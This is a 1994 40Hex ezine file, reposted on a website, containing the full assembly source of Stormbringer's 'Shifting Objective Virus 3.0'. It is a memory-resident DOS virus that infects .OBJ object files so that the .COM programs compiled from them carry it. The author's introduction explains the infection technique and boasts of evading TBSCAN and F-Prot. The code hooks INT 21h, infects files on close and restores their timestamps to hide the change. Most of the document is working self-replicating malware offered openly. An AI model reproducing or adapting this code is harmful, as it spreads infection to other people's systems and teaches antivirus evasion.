Copy Link
Add to Bookmark
Report

40Hex Issue 13 File 006

eZine's profile picture
Published in 
40Hex
 · 13 Jul 2024

40Hex Number 13 Volume 4 Issue 1                                      File 006 

;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism] º
;º º
;º Memory Resident .OBJ Infector - No TBSCAN Flags, No F-Prot Alarms! º
;º º
;º This virus breaks new bounds in viral technology, best I know }-) º
;ºIt infects .OBJ files that are set up to compile to simple, stand- º
;ºalone .COM's. The basic theory for this is the following: It takes º
;ºthe pre-set compiling points of the modules in the .OBJ and moves themº
;ºup in memory so Objective will have room to insert itself underneath. º
;ºWhen the file is compiled the virus is at the beginning of the file, º
;ºand the original code follows BUT - the original code's memory offsetsº
;ºare what they were BEFORE the virus infected the .OBJ. Therefore, allº
;ºObjective has to do when it runs is go memory resident, and shift the º
;ºhost code back down to where it starts at 100h in memory, and all is º
;ºwell. º
;º º
;º Object files are basically a set of linked lists or fields, each º
;ºwith a three byte header. The first byte is it's identity byte, whileº
;ºthe following word is the size of the field - header. The very last º
;ºbyte of each record is a simple checksum byte - this can be gained º
;ºsimply by adding up all of the bytes in the field save the three byte º
;ºheader and taking the negative (not reg/inc reg) so that the entire º
;ºfield value + checksum = 0. Each field type has it's own identity º
;ºvalue, but we are only concerned with a few right now. º
;º º
;ºThey are as follows: º
;º 80h - Starting field of a .OBJ file º
;º 8Ch - External definitions º
;º 8Ah - Ending field of a .OBJ file º
;º A0h - Regular Code º
;º A2h - Compressed code (patterns/reiterated stuff) º
;º º
;º In the A0h and A2h types of fields, there is one more thing that º
;ºconcerns us - the three bytes after the field size in the header º
;ºare indicators of the location in memory the code will be at - the º
;ºsecond and third byte form the word we will be concerned with, which º
;ºis a simple offset from CS:0000 that the code will begin. Since we º
;ºare dealing with .COM files and want to put our virus at the beginningº
;ºof the file, we set the position field of the virus to 100h and the º
;ºpositions of all the other A0h and A2h fields to their old position º
;ºplus the virus size. When the file is compiled, the virus will be º
;ºat the beginning and the host will follow. Attaching the virus to º
;ºthe .OBJ itself is simple enough - just save the 8Ah field in memory, º
;ºand write FROM IT'S OLD BEGINNING a header for your virus, your º
;ºvirus, then a checksum and the old 8Ah field. At all times when º
;ºmodifying fields, the checksums must be fixed afterwards. º
;º º
;º For the rest of the techniques that may be useful, I suggest you º
;ºlook at the following code for my Shifting Objective Virus. I'd like º
;ºto thank The Nightmare for his ideas on this when we sat around bored º
;ºthose days. Greets go out to all of Phalcon/Skism, Urnst Kouch, º
;ºMark Ludwig, TridenT, NuKE, and the rest of the viral community. º
;ºA special hello goes to Hermanni and Frisk. º
;º º
;º Ò Stormbringer [P/S] º
;º ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄ º
;º Ð º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
.model tiny
.radix 16
.code
org 100
start:
push ds
sub ax,ax
mov ds,ax
mov ax,word ptr ds:[84]
mov word ptr cs:[Fake21IP],ax
mov ax,word ptr ds:[86]
mov word ptr cs:[Fake21CS],ax
mov ax,word ptr ds:[2f*4]
mov word ptr cs:[Fake2fIP],ax
mov ax,word ptr ds:[2f*4+2]
mov word ptr cs:[Fake2fCS],ax
pop ds

CheckIfResident:
mov ax,0feadh ;Check if we are in memory
call fake21
cmp ax,0d00dh
jne ReserveMemory ;Nope, go resident

xor ax,ax
mov ds,ax
jmp RestoreFile ;Yep, skip it

ReserveMemory:
mov ax,ds
dec ax ;Go to MCB's
mov ds,ax
sub word ptr ds:[3],80 ;Grab 2K from this MCB
sub word ptr ds:[12],80 ;And from the Top of MEM in PSP
xor ax,ax
mov ds,ax ;We're gonna take up 2k in memory.
sub word ptr ds:[413],2 ;Reserve 2k from bios
int 12h ;Get bios memory amount in K
mov cl,6
shl ax,cl

PutVirusInMemory:
push cs
pop ds
sub ax,10 ;NewSeg:0 was in AX, now Newseg:100
mov es,ax ;is start of reserved memory field....
mov di,100
mov si,100
mov cx,end_prog-start
repnz movsb ;Copy virus into memory

HookInterrupts:
xor ax,ax
mov ds,ax ;Hook Int 21h directly using
cli ;Interrupt table
mov ax,offset Int21
xchg word ptr ds:[84],ax
mov word ptr es:[IP_21],ax
mov ax,es
xchg word ptr ds:[86],ax
mov word ptr es:[CS_21],ax
sti


RestoreFile:
push cs
pop es
mov ax,0deadh ;Call interrupt handler to restore file

pushf
call dword ptr ds:[84]

mov ax,4c01 ;Terminate if restore unsuccessful
call fake21

InstallCHeck:
mov ax,0d00dh ;Tell prog we're already here
iret

Int21:
cmp ax,0feadh
je InstallCheck ;Is it an install check?
cmp ax,0deadh
je RestoreHost ;Or a restoration request?
cmp ah,3e
jz fileclose ;Fileclose - go infect it if it's an .OBJ
GoInt21:
db 0ea ;Jump back into int 21h handler
IP_21 dw 0
CS_21 dw 0

RestoreHost:
push es
pop ds

mov di,sp ;Set iret to return to beginning of code
mov [di],100

mov di,100
mov si,offset Host ;Shift host back down over virus in memory
mov cx,0f000
repnz movsb

mov si,ax
xor ax,ax
mov bx,ax ;Set registers as if just executing
mov cx,ax
mov dx,ax
mov di,ax
iret ;Iret back into the host file

fileclose:
pushf
push ax bx cx dx es ds si di bp
xor ax,ax
xor ax,1220h
call fake2f
push bx
mov bl,byte ptr es:[di] ;Good ol' SFT trick
mov ax,1216h
call fake2f
or word ptr es:[di+2],2 ;Set file Read/Write
add di,28
pop bx
cmp byte ptr es:[di+2],'J' ;Check out filename
jne Done_Close
cmp word ptr es:[di],'BO'
jne Done_Close
mov word ptr cs:[Host_Handle],bx

mov ax,5700 ;Save date/time stamp
call fake21
push cx dx
call Infect_Obj ;go infect it
pop dx cx
mov ax,5701 ;Restore date/time stamp
call fake21

Done_Close:
pop bp di si ds es dx cx bx ax ;Exit and chain into int 21h
popf
jmp GoInt21

Isanexec:
push dx
GetAndSaveCurLoc:
mov ax,4201 ;Save position of current module
xor cx,cx
xor dx,dx
call fake21
push dx ax
ModExecStartingPoint:
ReadOldStartingPoint:
mov ah,3f
mov dx,offset startingpt ;Read starting point
mov cx,3
call fake21
mov ax,word ptr [startingpt+1]
cmp byte ptr firstexec,0 ;Check if this is the first exec field
jne NotFirstExec

;If so, it should have a starting
;point of 100h for a .COM for us
;to infect it correctly

CheckifwillbeCOMfile: ;we're assuming that anything with
mov byte ptr firstexec,1 ;a starting point of cs:100h will be
;a com. while this isn't true all
;the time, we can cross our fingers..
cmp ax,100
je NotFirstExec ;File is good, continue infection.

Getouttahere:
pop ax ax ax ;won't be a .com file - don't infect.
ret

NotFirstExec: ;Either it isn't first exec or the
mov cx,end_prog-start ;check was good.. now add virus size
add ax,cx ;to exec starting point.
mov word ptr [startingpt+1],ax
GoBackToStartingPointinfo:
pop dx cx
push cx dx
mov ax,4200 ;go back to starting point field
call fake21
AndWriteIt:
mov ah,41
dec ah
mov cx,3
mov dx,offset startingpt ;and save it
call fake21

GoToChecksumField:
mov dx,fieldsize
sub dx,4
xor cx,cx ;go to checksum field
mov ax,4201
call fake21
ResetExecChecksum:
mov ah,3f
mov dx,offset Checksum ;read checksum field
mov cx,1
call fake21
mov cx,-1
mov dx,-1 ;go back to checksum field in file
mov ax,4201
call fake21
mov cx,(end_prog-start)
sub Checksum,ch ;modify checksum to account for
sub Checksum,cl ;our change to starting point field.
mov ah,41
mov dx,offset Checksum ;and write it
mov cx,1
dec ah
call fake21
DoneIsExec:
pop dx cx
mov ax,4200 ;Restore original file pointer
call fake21
pop dx
jmp NExtfield ;and continue with infection

startingpt db 0,0,0
firstexec db 0

anexec:
jmp isanexec

Bailout:
ret

Infect_Obj:
push cs cs
pop es ds
mov firstexec,0 ;Init first exec field
call go_bof ;Go to beginning of file

ModExecFields:
call ReadHeader ;read the three byte header, field size in DX
;Header type in AL

cmp al,8c ;External module
je bailout ;It has external calls, which we can't
;handle yet :(

cmp al,0a0 ;Executable module
je anexec

cmp al,0a2 ;Reiterated executable module
je anexec

cmp al,8a ;Ending module
je DoneModExecs

NextField:
mov ax,4201 ;Go to the next field
xor cx,cx
call fake21
jmp ModExecFields

DoneModExecs:
mov ax,4201
mov cx,-1
mov dx,-3 ;go to start of 8A field (end module)
call fake21

push dx ax

mov cx,fieldsize
add cx,3+10 ;the +10 is just to be safe
mov ah,3f ;load in last module
mov dx,offset buffer
call fake21
mov endfieldsize,ax ;Read in the end module

pop dx cx
mov ax,4200 ;Go back to the beginning of the module
call fake21 ;now that we have it in memory

WriteOurHeader:
mov ah,3f
mov cx,endheader-ourheader ;write the header for virus module
mov dx,offset ourheader
inc ah
call fake21

WriteVirus:
mov ah,3f
mov cx,end_prog-start ;write virus to file
mov dx,100
inc ah
call fake21

CreateChecksum:
mov si,100
mov cx,end_prog-start
xor ax,ax
AddupChecksum: ;Create checksum for virus
lodsb
add ah,al
loop AddupChecksum
not ah
inc ah
mov Checksum,ah

WriteChecksum:
mov dx,offset Checksum
mov cx,1
mov ah,3f
inc ah
call fake21 ;Then save the checksum in module

WriteEndModule:
mov dx,offset Buffer
mov cx,endfieldsize
mov ah,3f
inc ah
call fake21 ;And put the ending module back into
ret ;place.... we're done.


ReadHEader:
mov ah,3f
mov dx,offset fieldheader
mov cx,3 ;Read module header for .obj files
call fake21 ;save module type in AL and
mov al,fieldheader ;module size in DX
mov dx,fieldsize
ret


Go_Bof: ;Go to beginning of file
mov al,0
jmp short movefp
Go_Eof: ;Go to the end of the file
mov al,02
movefp: ;Or just move the File pointer
xor cx,cx
xor dx,dx
mov ah,42
call fake21
ret

fake21:
pushf
db 9a
fake21IP dw 0
fake21CS dw 0
ret

fake2f:
pushf
db 9a
fake2fIP dw 0
fake2fCS dw 0
ret

Credits:
db 'Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]'
db 'Kudos go to The Nightmare!'
OurHeader:
db 0A0
dw (end_prog-start+4) ;our size in an .OBJ file
db 1
db 0 ;starting position (cs:100h)
db 1
endheader:

endfieldsize dw 0
Checksum db 0
fieldheader db 0
fieldsize dw 0
Host_Handle dw 0
end_prog:
Buffer:
Host db 90,90,90,90,90,90,90,90,0cdh,20
end start



← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT